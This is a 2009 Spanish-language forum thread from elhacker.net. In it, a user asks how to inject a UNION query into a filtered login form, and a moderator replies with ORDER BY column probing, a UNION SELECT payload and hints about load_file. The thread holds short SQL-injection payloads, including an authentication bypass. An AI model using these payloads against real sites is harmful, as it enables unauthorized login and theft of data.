elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  UNION en BLIND SQL Injection
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: UNION en BLIND SQL Injection  (Leído 3,520 veces)
macanito

Desconectado Desconectado

Mensajes: 2


Ver Perfil
UNION en BLIND SQL Injection
« en: 3 Agosto 2009, 02:25 am »

Tenemos una consulta de la forma:
select a,b,c from tabla where user=[$user] and pass=md5([$pass])

Se tiene el parámetro inyectable "user" y conocemos el nombre de un user válido.
De forma que la respuesta TRUE de la consulta sería loguearse con ese user y la respuesta FALSE sería no loguearse.
Ej. user='[user_conocido' or 'a'='a]' (lo que va entre corchetes es la inyección, que provoca que nos logueemos)

Ahora, mi pregunta es: ¿cómo se podría inyectar una sentencia UNION teniendo en cuenta que el sistema filtra cualquier carácter de comentario (también en hexadecimal) y funciones como char(), por lo que se tiene que mantener la sintaxis del "and pass=..."?

Es decir, algo como: user='[user_conocido' union or 'a'='a]'
Recuerdo que es BLIND SQL Injection

Gracias de antemano
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: UNION en BLIND SQL Injection
« Respuesta #1 en: 3 Agosto 2009, 05:48 am »

Pruebas con
user='[user_conocido' order by '10]' = da error
user='[user_conocido' order by '9]' = da error
user='[user_conocido' order by '8]' = no da error
 ya con eso le haces el union select
user='[0' union select 1,2,3,4,5,6,7,'8]'

además hay varias funciones que no requieren pasar a hexadecimal, por ejemplo load_file o usa concat con valores dword 0x000000000...
En línea

macanito

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: UNION en BLIND SQL Injection
« Respuesta #2 en: 3 Agosto 2009, 19:45 pm »

Gracias por responder.

Pero al hacer como dices, al concatenarse con la parte del pass la consulta quedaría así:

user='[user_conocido' order by 10']' and pass='md5'

que siempre me loguea sin depender del número que ponga (no me da nunca error, no sé por qué...)

o

user='[user_conocido' union select 1,2,...,'8]' and pass='md5'

que daría un error de sintaxis (esto no he podido probarlo pero lo supongo. La anterior ya la había probado anteriormente)

Habría que terminar con un where o algo así, para mantener la sintaxis...
Todo esto sin conocer los nombres de las tablas...
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problas con blind injection
Nivel Web
G0kuu_G0kuu 0 1,766 Último mensaje 15 Julio 2011, 10:22 am
por G0kuu_G0kuu
Algun informacion sobre blind injection del tipo varchar
Nivel Web
kyr4-X-Force 3 3,664 Último mensaje 6 Junio 2012, 09:46 am
por WarGhost
Confusión con blind SQL injection
Seguridad
Schaiden 3 3,344 Último mensaje 27 Septiembre 2017, 06:13 am
por BloodSharp
Dudas en Blind SQL injection
Bugs y Exploits
onirico 1 2,117 Último mensaje 24 Agosto 2018, 04:49 am
por onirico
PREGUNTA - SQL BLIND INJECTION
Hacking
tobiasasa 4 3,296 Último mensaje 11 Abril 2020, 23:42 pm
por tobiasasa
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines